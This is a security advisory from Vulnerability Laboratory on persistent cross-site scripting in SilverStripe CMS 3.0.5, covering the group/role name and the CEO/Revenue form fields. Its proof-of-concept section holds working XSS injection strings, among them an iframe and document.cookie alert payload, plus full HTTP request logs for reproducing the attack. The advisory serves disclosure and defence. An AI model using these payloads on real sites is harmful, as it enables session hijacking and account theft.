SilverStripe Framework CMS 3.0.5 Cross Site Scripting

`Title:  
======  
SilverStripe Framework CMS 3.0.5 - Multiple Vulnerabilities  
  
  
Date:  
=====  
2013-09-23  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=1084  
  
  
VL-ID:  
=====  
1084  
  
  
Common Vulnerability Scoring System:  
====================================  
3.9  
  
  
Introduction:  
=============  
SilverStripe CMS is an open source web content management system used by governments, businesses,   
and non-profit organisations around the world. It is a power tool for professional web development teams,   
and web content authors rave about how easy it is to use.  
  
As a platform, SilverStripe CMS is used to build websites, intranets, and web applications. The modern   
architecture of SilverStripe CMS allows organisations to keep pace with innovation on the web. SilverStripe   
CMS enables websites and applications to contain stunning design, great content, and compelling interactive   
and social functions.  
  
Besides a powerful and intuitive content authoring application, SilverStripe CMS contains a powerful PHP5-based   
programming framework. The SilverStripe Framework brings immense flexibility and ease in customising your site   
and provides fundamentals such as security models, workflow, caching, and multiple language and subsite support.  
  
SilverStripe CMS is open source, underpinned by public documentation, free code, and a developer community.   
It is based on open standards and supports multiple technology platforms. SilverStripe CMS is built and   
commercially supported by SilverStripe Ltd., a software company responsible for ensuring innovation, focus,   
and quality in the software. SilverStripe Ltd., its Partners around the world, and the global SilverStripe   
Developer Network provide commercial services around designing, implementing, and customising websites and   
applications based on SilverStripe CMS.  
  
(Copy of the Vendor Homepage: http://www.silverstripe.org/introduction/ )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerabilities in the SilverStripe v3.0.5 CMS.  
  
  
Report-Timeline:  
================  
2013-09-23: Public Disclosure (Vulnerability Laboratory)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
SilverStripe  
Product: Content Management System & Framework 3.0.5  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
1.1  
A persistent input validation web vulnerability is detected in the official SilverStripe v3.0.5 Content Management System.  
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).  
  
The vulnerability is located in the `Print` module of the groups and roles settings function when processing to request via   
POST method manipulated `first & lastnames`. Remote attackers can include a new role bound to an user configuration with own   
injected script code (payload). The injected context will be executed in the edit id list and the main index role/groups list.   
  
Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged web-application user   
account with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers),   
account steal via persistent web attacks, persistent phishing or persistent manipulation of vulnerable module context.  
  
Vulnerable Application(s):  
[+] SilverStripe v3.0.5 - Content Management System  
  
Vulnerable Module(s):  
[+] Add Roles - Name  
[+] Add Groups - Gruppenname  
  
Vulnerable Parameter(s):  
[+] firstname & lastname  
[+] even valCMS_ACCESS_ReportAdmin > Form_ItemEditForm_Permissions_CMSACCESSAssetAdmin  
  
Affected Module(s):  
[+] Item Edit - Sicherheit > Groups & Roles User Listing  
[+] Print (Role/Group) - Item Listing  
  
  
  
  
1.2  
A persistent input validation web vulnerability is detected in the official SilverStripe v3.0.5 Content Management System.  
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).  
  
The vulnerability is located in the `message validation` module when processing to request via POST method manipulated   
`CEO` or `Revenue` parameters. The injected script code will be stored in the users profile of the company. The code gets   
executed by in the user profile company.  
  
Exploitation of the persistent web vulnerability requires low user interaction and a local low privileged web-application   
user account with a password. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers),   
account steal via persistent web attacks, persistent phishing or or persistent manipulation of vulnerable module context.  
  
Vulnerable Application(s):  
[+] SilverStripe v3.0.5 - Content Management System  
  
Vulnerable Module(s):  
[+] Message Validation  
  
Vulnerable Parameter(s):  
[+] Form_ItemEditForm_ (CEO & Revenue)  
  
Affected Module(s):  
[+] Admin > Company Listing  
  
  
Proof of Concept:  
=================  
1.1  
The first persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user accounts and   
low required user interaction. For demonstration or reproduce ...  
  
  
PoC: Groups & Rollen (Roles) - Print   
  
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>  
<title>SilverStripe - Sicherheit</title>  
<link rel="stylesheet" type="text/css" href="/framework/css/GridField_print.css?m=1346228458">  
</head>  
<body onload="window.print();">  
<h3>SilverStripe - Sicherheit</h3>  
<table>  
<thead>  
<tr><th>Vorname</th><th>Nachname</th><th>E-Mail</th></tr>  
</thead>  
<tbody>   
</tbody>  
</table>  
<p>  
Gedruckt am 11:44pm, 22/09/2013  
<br>  
Gedruckt von a%20>"<iframe src="a" onload="alert("BKM")<" a%20="" a%20<="">>"<iframe src=a onload=alert("BKM")<  
</p>  
</body>  
</html>  
</iframe></p></body></html>  
  
  
  
--- PoC Session Request Logs ---  
Status: 200[OK]  
  
POST http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/new/ItemEditForm   
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ]   
Content Size[20] Mime Type[text/html]  
  
Request Headers:  
Host[ss-cms.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]  
Accept[*/*]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Pjax[CurrentForm,Breadcrumbs]  
X-Requested-With[XMLHttpRequest]  
Referer[http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/new]  
Content-Length[336]  
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1; __utmb=1.8.10.1379847695; __utmc=1;   
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; cms-panel-collapsed-cms-content-tools-CMSPagesController=true;   
cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-ModelAdmin=false; __utma=1.1551299670.1379847854.1379847854.1379847854.1;   
__utmc=1; __utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false;   
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]  
Connection[keep-alive]  
Pragma[no-cache]  
Cache-Control[no-cache]  
  
Post Data:  
Title[a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C++++a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C]  
ParentID[]  
ID[]  
SecurityID[1d6ca7e871bd6ec855f9409e25e030359c5b435f]  
action_doSave[1]  
BackURL[http%3A%2F%2Fss-cms.localhost:8080%2Fadmin%2Fsecurity%2FEditForm%2Ffield%2FGroups%2Fitem%2Fnew%2F]  
  
  
Response Headers:  
Server[nginx]  
Date[Sun, 22 Sep 2013 11:44:20 GMT]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-cache, max-age=0, must-revalidate]  
Pragma[no-cache]  
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:20 GMT; path=/; httponly]  
X-ControllerURL[admin/security/EditForm/field/Groups/item/4]  
X-Pjax[CurrentForm,Breadcrumbs]  
X-Controller[SecurityAdmin]  
X-Title[SilverStripe - Sicherheit]  
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&  
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen  
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?  
m=1379847630,/framework/admin/javascript/SecurityAdmin.js?m=1346228457,/framework/javascript/PermissionCheckboxSetField.js?m=1346228484]  
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=1346228458,/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?  
m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?  
m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[20]  
  
  
Status: 200[OK]  
GET http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4   
Load Flags[LOAD_BACKGROUND ]   
Content Size[3966] Mime Type[text/html]  
  
  
Request Headers:  
Host[ss-cms.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]  
Accept[*/*]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
X-Pjax[CurrentForm,Breadcrumbs]  
X-Requested-With[XMLHttpRequest]  
Referer[http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4]  
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1; __utmb=1.8.10.1379847695; __utmc=1;  
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; cms-panel-collapsed-cms-content-tools-CMSPagesController=true;   
cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-ModelAdmin=false;   
__utma=1.1551299670.1379847854.1379847854.1379847854.1; __utmc=1; __utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=  
organic|utmctr=(not%20provided); cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false;   
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]  
Connection[keep-alive]  
  
  
Response Headers:  
Server[nginx]  
Date[Sun, 22 Sep 2013 11:44:21 GMT]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-cache, max-age=0, must-revalidate]  
Pragma[no-cache]  
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:21 GMT; path=/; httponly]  
X-Controller[SecurityAdmin]  
X-Title[SilverStripe - Sicherheit]  
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&  
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen  
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?  
m=1379847630,/framework/admin/javascript/SecurityAdmin.js?m=1346228457,/framework/javascript/PermissionCheckboxSetField.js?m=1346228484]  
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=  
1346228458,/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?  
m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,  
/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458,/framework/css/CheckboxSetField.css?m=1346228458]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[3966]  
  
  
Status: 200[OK]  
GET http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4/ItemEditForm/  
field/Members?Title=a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert  
(%22BKM%22)%3C++++a%252&ParentID=&gridfield_relationsearch=&Members%5B  
GridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22  
GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22currentPage%22%3A1%7D%2C%22  
GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmail  
%5D=&ID=4&SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken <==  
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]   
Content Size[378]   
Mime Type[text/html]  
  
  
Request Headers:  
Host[ss-cms.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4]  
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1; __utmb=1.8.10.1379847695; __utmc=1;   
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; cms-panel-  
collapsed-cms-content-tools-CMSPagesController=true;   
cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-ModelAdmin=false;   
__utma=1.1551299670.1379847854.1379847854.1379847854.1;   
__utmc=1; __utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false;   
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]  
Connection[keep-alive]  
  
  
Response Headers:  
Server[nginx]  
Date[Sun, 22 Sep 2013 11:44:26 GMT]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-cache, max-age=0, must-revalidate]  
Pragma[no-cache]  
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:26 GMT; path=/; httponly]  
X-Controller[SecurityAdmin]  
X-Title[SilverStripe - Sicherheit]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[378]  
  
  
Status: 200[OK]  
GET http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/[PERSISTENT INJECTED SCRIPT CODE AS PATH!]  
Load Flags[LOAD_DOCUMENT_URI ]   
Content Size[20]   
Mime Type[text/html]  
  
  
Request Headers:  
Host[ss-cms.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/  
Members?Title=a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload  
%3Dalert(%22BKM%22)%3C++++a%252&ParentID=&gridfield_relationsearch=&Members%5B  
GridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22  
GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22currentPage%22%3A1%7D%2C%22  
GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmai%5D=&ID=4&  
SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken]  
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1; __utmb=1.8.10.1379847695; __utmc=1;   
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4;   
PastMember=1; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-menu=false;   
cms-panel-collapsed-cms-content-tools-ModelAdmin=false; __utma=1.1551299670.1379847854.1379847854.1379847854.1; __utmc=1;   
__utmz=1.1379847854.1.1.utmcsr=google|  
utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
cms-panel-collapsed-cms-content-tools-AssetAdmin=true; cms-panel-collapsed-cms-content-tools-CMSMain=false;   
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]  
Connection[keep-alive]  
  
  
Response Headers:  
Server[nginx]  
Date[Sun, 22 Sep 2013 11:44:27 GMT]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-cache, max-age=0, must-revalidate]  
Pragma[no-cache]  
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:27 GMT; path=/; httponly]  
X-Controller[SecurityAdmin]  
X-Title[SilverStripe - Sicherheit]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[20]  
  
  
  
PoC: (Client-Side Link)  
http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/Members  
?Title=a%25[PERSISTENT INJECTED SCRIPT CODE!]%3C++++a%252&ParentID=&gridfield_relationsearch=&  
Members%5BGridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2  
C%22GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22  
currentPage%22%3A1%7D%2C%22GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmail  
%5D=&ID=4&SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken  
  
  
Reference(s):  
http://ss3.demo.silverstripe.org/admin/security/show/root#Root_Roles  
http://ss3.demo.silverstripe.org/admin/security/EditForm/field/Groups/item/1/edit  
http://ss-cms.localhost:8080/admin/security/EditForm/field/Roles/item/new  
http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/new/ItemEditForm  
http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4  
http://ss-cms.localhost:8080/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/x  
  
  
  
  
  
  
1.2  
The secound persistent input validation web vulnerability and filter bypass vulnerability can be exploited by remote attackers   
with low privileged application user accounts with low required user interaction. For demonstration or reproduce ...  
  
  
PoC: Model Admin > Add Company > Edit Company  
  
<span class="message validation">'>"<[PERSISTENT INJECTED SCRIPT CODE!]>' ist kein numerischer Wert,   
nur nummerische Werte sind in diesem Feld erlaubt</span>  
</div>  
<div id="CEO" class="field text">  
<label class="left" for="Form_ItemEditForm_CEO">CEO</label>  
<div class="middleColumn">  
<input type="text" name="CEO" value=">"<[PERSISTENT INJECTED SCRIPT CODE!])</script>" class="text" id="Form_ItemEditForm_CEO" />  
</div>  
  
Note: The vulnerability is located in the message validation filter exception-handling.  
  
  
  
--- PoC Session Request Logs ---  
  
Status: 200[OK]  
POST http://ss-cms.localhost:8080/admin/test/Company/EditForm/field/Company/item/new/ItemEditForm   
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ]   
Content Size[1309]  
Mime Type[text/html]  
  
  
Request Headers:  
Host[ss-cms.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0]  
Accept[*/*]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Pjax[CurrentForm,Breadcrumbs]  
X-Requested-With[XMLHttpRequest]  
Referer[http://ss-cms.localhost:8080/admin/test/Company/EditForm/field/Company/item/new?q[Name]=&q[Category]=&q[Revenue]=&q[CEO]=]  
Content-Length[560]  
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1; __utmb=1.7.10.1379847695; __utmc=1;   
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);   
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; cms-panel-collapsed-cms-content-tools-CMSPagesController=true;   
cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-ModelAdmin=false;   
__utma=1.1551299670.1379847854.1379847854.1379847854.1; __utmb=1.5.10.1379847854; __utmc=1;   
__utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)]  
Connection[keep-alive]  
Pragma[no-cache]  
Cache-Control[no-cache]  
  
  
Post Data:  
Name[Evolution+Security]  
Category[TEST+PP]  
Revenue[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com%3E%3Cscript+alert(document.cookie)%3C%2Fscript%3E] <= [PERSISTENT INJECTED TEST CODES!]  
CEO[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com%3E%3Cscript+alert(document.cookie)%3C%2Fscript%3E]  
RelationFieldsTestPageID[]  
GridFieldTestPageHasOneID[]  
SecurityID[1d6ca7e871bd6ec855f9409e25e030359c5b435f]  
action_doSave[1]  
BackURL [http%3A%2F%2Fss-cms.localhost:8080%2Fadmin%2Ftest%2FCompany%2FEditForm%2Ffield%2FCompany%2Fitem%2F  
new%3Fq%5BName%5D%3D%26q%5BCategory%5D%3D%26q%5BRevenue%5D%3D%26q%5BCEO%5D%3D%2F]  
  
  
Response Headers:  
Server[nginx]  
Date[Sun, 22 Sep 2013 11:20:33 GMT]  
Content-Type[text/html]  
Connection[keep-alive]  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-cache, max-age=0, must-revalidate]  
Pragma[no-cache]  
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:20:32 GMT; path=/; httponly]  
X-Controller[TestModelAdmin]  
X-Title[SilverStripe - Test ModelAdmin]  
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&  
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen  
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?  
m=1379847630,/framework/admin/javascript/ModelAdmin.js?m=1346228457]  
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=1346228458,  
/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?  
m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,  
/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
Content-Length[1309]  
  
  
  
Reference(s):  
Test Model Admin > Add Company - ss-cms.localhost:8080/admin/test/Company?q[Name]=&q[Category]=&q[Revenue]=&q[CEO]=  
Model Admin > Add Company > Edit Company - ss-cms.localhost:8080/admin/test/Company/EditForm/field/Company/item/new?q[Name]=&q[Category]=&q[Revenue]=&q[CEO]=  
  
  
Risk:  
=====  
The security risk of the persistent input validation web vulnerabilities is estimated as medium(+).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.  
  
Copyright © 2013 | Vulnerability Laboratory [Evolution Security]  
  
  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: [email protected]  
  
`